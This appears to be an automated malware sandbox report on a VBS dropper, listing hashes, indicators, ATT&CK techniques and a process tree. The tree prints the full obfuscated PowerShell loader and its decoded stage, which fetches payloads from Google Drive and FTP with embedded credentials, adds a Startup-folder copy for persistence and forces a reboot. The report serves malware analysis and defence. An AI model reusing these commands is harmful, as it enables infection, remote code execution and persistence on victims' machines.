4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b

Reason

Machine shutdown

General

Target

20092024_0206_AT000005112563923.vbs
Size

561KB
MD5

e5d5bfe30179b640a80ae3cc1640e486
SHA1

5c5a868d8b688884b8a47deb61a3ee9ca08fbdd4
SHA256

4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b
SHA512

cae7eac6bf7106bb663c042f1ea77393a62b6ec9555667e07736997fc69f219fa83b30fcaf1c93a4a1a300879ec0fe33aa8cdc22d303f795f36dc285639f488b
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFp:vSe

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\20092024_0206_AT000005112563923.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\20092024_0206_AT000005112563923.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2396	powershell.exe
2740	powershell.exe
2636	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2396	powershell.exe
2740	powershell.exe
2736	powershell.exe
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeShutdownPrivilege	1704	shutdown.exe
Token: SeRemoteShutdownPrivilege	1704	shutdown.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 2396	2408	WScript.exe	30
PID 2408 wrote to memory of 2396	2408	WScript.exe	30
PID 2408 wrote to memory of 2396	2408	WScript.exe	30
PID 2396 wrote to memory of 2740	2396	powershell.exe	32
PID 2396 wrote to memory of 2740	2396	powershell.exe	32
PID 2396 wrote to memory of 2740	2396	powershell.exe	32
PID 2740 wrote to memory of 2736	2740	powershell.exe	33
PID 2740 wrote to memory of 2736	2740	powershell.exe	33
PID 2740 wrote to memory of 2736	2740	powershell.exe	33
PID 2736 wrote to memory of 2772	2736	powershell.exe	34
PID 2736 wrote to memory of 2772	2736	powershell.exe	34
PID 2736 wrote to memory of 2772	2736	powershell.exe	34
PID 2740 wrote to memory of 2636	2740	powershell.exe	35
PID 2740 wrote to memory of 2636	2740	powershell.exe	35
PID 2740 wrote to memory of 2636	2740	powershell.exe	35
PID 2740 wrote to memory of 1704	2740	powershell.exe	37
PID 2740 wrote to memory of 1704	2740	powershell.exe	37
PID 2740 wrote to memory of 1704	2740	powershell.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\20092024_0206_AT000005112563923.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦGMҼмẦZҼмẦҼмẦuҼмẦHQҼмẦeҼмẦB0ҼмẦCcҼмẦIҼмẦҼмẦoҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦWwҼмẦgҼмẦCwҼмẦIҼмẦBsҼмẦGwҼмẦdQBuҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGUҼмẦawBvҼмẦHYҼмẦbgBJҼмẦC4ҼмẦKQҼмẦgҼмẦCcҼмẦSQBWҼмẦEYҼмẦcgBwҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGQҼмẦbwBoҼмẦHQҼмẦZQBNҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦnҼмẦDEҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦC4ҼмẦMwB5ҼмẦHIҼмẦYQByҼмẦGIҼмẦaQBMҼмẦHMҼмẦcwBhҼмẦGwҼмẦQwҼмẦnҼмẦCgҼмẦZQBwҼмẦHkҼмẦVҼмẦB0ҼмẦGUҼмẦRwҼмẦuҼмẦCkҼмẦIҼмẦBaҼмẦGMҼмẦQgBjҼмẦGEҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZҼмẦBhҼмẦG8ҼмẦTҼмẦҼмẦuҼмẦG4ҼмẦaQBhҼмẦG0ҼмẦbwBEҼмẦHQҼмẦbgBlҼмẦHIҼмẦcgB1ҼмẦEMҼмẦOgҼмẦ6ҼмẦF0ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦEEҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦJMhOgCTIScҼмẦIҼмẦҼмẦoҼмẦGUҼмẦYwBhҼмẦGwҼмẦcҼмẦBlҼмẦFIҼмẦLgBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwҼмẦ0ҼмẦDYҼмẦZQBzҼмẦGEҼмẦQgBtҼмẦG8ҼмẦcgBGҼмẦDoҼмẦOgBdҼмẦHQҼмẦcgBlҼмẦHYҼмẦbgBvҼмẦEMҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦZQB0ҼмẦHkҼмẦQgBbҼмẦDsҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWҼмẦBQҼмẦFUҼмẦdQBoҼмẦCQҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZwBuҼмẦGkҼмẦcgB0ҼмẦFMҼмẦZҼмẦBhҼмẦG8ҼмẦbҼмẦBuҼмẦHcҼмẦbwBEҼмẦC4ҼмẦcgB5ҼмẦGsҼмẦdҼмẦҼмẦkҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦpҼмẦCgҼмẦZQBzҼмẦG8ҼмẦcҼмẦBzҼмẦGkҼмẦZҼмẦҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHQҼмẦeҼмẦB0ҼмẦC4ҼмẦMQҼмẦwҼмẦEwҼмẦTҼмẦBEҼмẦC8ҼмẦMQҼмẦwҼмẦC8ҼмẦcgBlҼмẦHQҼмẦcҼмẦB5ҼмẦHIҼмẦYwBwҼмẦFUҼмẦLwByҼмẦGIҼмẦLgBtҼмẦG8ҼмẦYwҼмẦuҼмẦHQҼмẦYQByҼмẦGIҼмẦdgBrҼмẦGMҼмẦcwBlҼмẦGQҼмẦLgBwҼмẦHQҼмẦZgBҼмẦҼмẦDEҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦvҼмẦC8ҼмẦOgBwҼмẦHQҼмẦZgҼмẦnҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwBҼмẦҼмẦEҼмẦҼмẦcҼмẦBKҼмẦDgҼмẦNwҼмẦ1ҼмẦDEҼмẦMgBvҼмẦHIҼмẦcҼмẦByҼмẦGUҼмẦcҼмẦBvҼмẦGwҼмẦZQB2ҼмẦGUҼмẦZҼмẦҼмẦnҼмẦCwҼмẦKQҼмẦpҼмẦDkҼмẦNҼмẦҼмẦsҼмẦDYҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦ5ҼмẦCwҼмẦNҼмẦҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ4ҼмẦDkҼмẦLҼмẦҼмẦ4ҼмẦDEҼмẦMQҼмẦsҼмẦDcҼмẦMҼмẦҼмẦxҼмẦCwҼмẦOQҼмẦ5ҼмẦCwҼмẦNQҼмẦxҼмẦDEҼмẦLҼмẦҼмẦxҼмẦDҼмẦҼмẦMQҼмẦsҼмẦDҼмẦҼмẦMҼмẦҼмẦxҼмẦCgҼмẦXQBdҼмẦFsҼмẦcgBhҼмẦGgҼмẦYwBbҼмẦCҼмẦҼмẦbgBpҼмẦG8ҼмẦagҼмẦtҼмẦCgҼмẦKҼмẦBsҼмẦGEҼмẦaQB0ҼмẦG4ҼмẦZQBkҼмẦGUҼмẦcgBDҼмẦGsҼмẦcgBvҼмẦHcҼмẦdҼмẦBlҼмẦE4ҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦLQB3ҼмẦGUҼмẦbgҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦMgҼмẦxҼмẦHMҼмẦbҼмẦBUҼмẦDoҼмẦOgBdҼмẦGUҼмẦcҼмẦB5ҼмẦFQҼмẦbҼмẦBvҼмẦGMҼмẦbwB0ҼмẦG8ҼмẦcgBQҼмẦHkҼмẦdҼмẦBpҼмẦHIҼмẦdQBjҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwB9ҼмẦGUҼмẦdQByҼмẦHQҼмẦJҼмẦB7ҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGsҼмẦYwBhҼмẦGIҼмẦbҼмẦBsҼмẦGEҼмẦQwBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦZҼмẦBpҼмẦGwҼмẦYQBWҼмẦGUҼмẦdҼмẦBhҼмẦGMҼмẦaQBmҼмẦGkҼмẦdҼмẦByҼмẦGUҼмẦQwByҼмẦGUҼмẦdgByҼмẦGUҼмẦUwҼмẦ6ҼмẦDoҼмẦXQByҼмẦGUҼмẦZwBhҼмẦG4ҼмẦYQBNҼмẦHQҼмẦbgBpҼмẦG8ҼмẦUҼмẦBlҼмẦGMҼмẦaQB2ҼмẦHIҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦIҼмẦBmҼмẦC8ҼмẦIҼмẦҼмẦwҼмẦCҼмẦҼмẦdҼмẦҼмẦvҼмẦCҼмẦҼмẦcgҼмẦvҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBuҼмẦHcҼмẦbwBkҼмẦHQҼмẦdQBoҼмẦHMҼмẦIҼмẦҼмẦ7ҼмẦCcҼмẦMҼмẦҼмẦ4ҼмẦDEҼмẦIҼмẦBwҼмẦGUҼмẦZQBsҼмẦHMҼмẦJwҼмẦgҼмẦGQҼмẦbgBhҼмẦG0ҼмẦbQBvҼмẦGMҼмẦLQҼмẦgҼмẦGUҼмẦeҼмẦBlҼмẦC4ҼмẦbҼмẦBsҼмẦGUҼмẦaҼмẦBzҼмẦHIҼмẦZQB3ҼмẦG8ҼмẦcҼмẦҼмẦ7ҼмẦCҼмẦҼмẦZQBjҼмẦHIҼмẦbwBmҼмẦC0ҼмẦIҼмẦҼмẦpҼмẦCҼмẦҼмẦJwBwҼмẦHUҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwBtҼмẦGEҼмẦcgBnҼмẦG8ҼмẦcgBQҼмẦFwҼмẦdQBuҼмẦGUҼмẦTQҼмẦgҼмẦHQҼмẦcgBhҼмẦHQҼмẦUwBcҼмẦHMҼмẦdwBvҼмẦGQҼмẦbgBpҼмẦFcҼмẦXҼмẦB0ҼмẦGYҼмẦbwBzҼмẦG8ҼмẦcgBjҼмẦGkҼмẦTQBcҼмẦGcҼмẦbgBpҼмẦG0ҼмẦYQBvҼмẦFIҼмẦXҼмẦBhҼмẦHQҼмẦYQBEҼмẦHҼмẦҼмẦcҼмẦBBҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦIҼмẦBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦbgBpҼмẦHQҼмẦcwBlҼмẦEQҼмẦLQҼмẦgҼмẦCcҼмẦJQBJҼмẦGgҼмẦcQBSҼмẦFgҼмẦJQҼмẦnҼмẦCҼмẦҼмẦbQBlҼмẦHQҼмẦSQҼмẦtҼмẦHkҼмẦcҼмẦBvҼмẦEMҼмẦIҼмẦҼмẦ7ҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBzҼмẦGUҼмẦcgBvҼмẦG4ҼмẦLwҼмẦgҼмẦHQҼмẦZQBpҼмẦHUҼмẦcQҼмẦvҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBhҼмẦHMҼмẦdQB3ҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦCҼмẦҼмẦOwҼмẦpҼмẦCcҼмẦdQBzҼмẦG0ҼмẦLgBuҼмẦGkҼмẦdwBwҼмẦFUҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦE4ҼмẦSgBUҼмẦHgҼмẦRҼмẦҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦDsҼмẦKQҼмẦgҼмẦGUҼмẦbQBhҼмẦE4ҼмẦcgBlҼмẦHMҼмẦVQҼмẦ6ҼмẦDoҼмẦXQB0ҼмẦG4ҼмẦZQBtҼмẦG4ҼмẦbwByҼмẦGkҼмẦdgBuҼмẦEUҼмẦWwҼмẦgҼмẦCsҼмẦIҼмẦҼмẦnҼмẦFwҼмẦcwByҼмẦGUҼмẦcwBVҼмẦFwҼмẦOgBDҼмẦCcҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦIҼмẦҼмẦsҼмẦEIҼмẦSwBMҼмẦFIҼмẦVQҼмẦkҼмẦCgҼмẦZQBsҼмẦGkҼмẦRgBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwҼмẦpҼмẦHQҼмẦbgBlҼмẦGkҼмẦbҼмẦBDҼмẦGIҼмẦZQBXҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦTwҼмẦtҼмẦHcҼмẦZQBOҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwB9ҼмẦDsҼмẦIҼмẦҼмẦpҼмẦCcҼмẦdҼмẦBPҼмẦEwҼмẦYwBfҼмẦEsҼмẦYQҼмẦzҼмẦFoҼмẦZgBvҼмẦFgҼмẦMgBKҼмẦEoҼмẦcgBWҼмẦGgҼмẦbQBWҼмẦDkҼмẦYwBtҼмẦDkҼмẦWҼмẦBzҼмẦHUҼмẦWҼмẦBtҼмẦGoҼмẦMQBnҼмẦDEҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBvҼмẦHgҼмẦSwBVҼмẦGcҼмẦJҼмẦҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwҼмẦyҼмẦDQҼмẦdQBYҼмẦEoҼмẦVҼмẦBxҼмẦGEҼмẦbQBnҼмẦHkҼмẦTQB0ҼмẦEYҼмẦegBhҼмẦGsҼмẦUҼмẦBSҼмẦDEҼмẦcQBfҼмẦEkҼмẦdgBHҼмẦGkҼмẦWҼмẦBOҼмẦGQҼмẦcQBhҼмẦE4ҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBVҼмẦGcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABkAHYAbwBmAFgAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABkAHYAbwBmAFgAJAAgADsA';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\20092024_0206_AT000005112563923.vbs');powershell $DLOWx
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\20092024_0206_AT000005112563923.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$tkyr.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $tkyr.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$tkyr.dispose();$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $tkyr.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\20092024_0206_AT000005112563923.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.dc/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe RiWcG /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2736
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" RiWcG /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:2772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2636
  - - C:\Windows\system32\shutdown.exe
      "C:\Windows\system32\shutdown.exe" /r /t 0 /f
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1704

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:1768

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QW9XDZA1TOGH6H9PCNPD.temp

Filesize
7KB

MD5
f7238b4d9f7aebf04b8b195b7be0dc94

SHA1
68c9f5574af3c488efd2f0f504781ce9c506ed99

SHA256
af9253b5c28394c575a13dce07ccc5651aed821712eb6d13e18d566cf22109ff

SHA512
02c90352db15d2782ee6aa8f0fc6732cb4bd533dc142df95b887ce020ca550905375a80f98468c85a787dd9ec494552005b2a0c038e9133c0ef7e144ca385228

Download Submit
memory/2396-4-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/2396-5-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2396-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2396-7-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2396-8-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
